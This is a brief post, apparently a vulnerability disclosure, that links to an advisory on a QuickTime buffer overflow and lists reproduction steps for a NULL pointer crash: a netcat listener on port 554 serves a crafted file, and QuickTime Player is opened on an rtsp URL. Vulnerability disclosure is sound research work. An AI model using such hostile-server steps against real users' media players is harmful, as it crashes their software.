Well, the first bug is now explained in detail here:
http://aluigi.org/adv/quicktimebof-adv.txt
While the "useless" NULL pointer bug in content-base caused by the absence of "://" is still here in case someone can find it interesting or just for curiosity:
nc -l -p 554 -v -v -n < quicktime2.txt
QuickTimePlayer.exe
rtsp://127.0.0.1/crash.mp3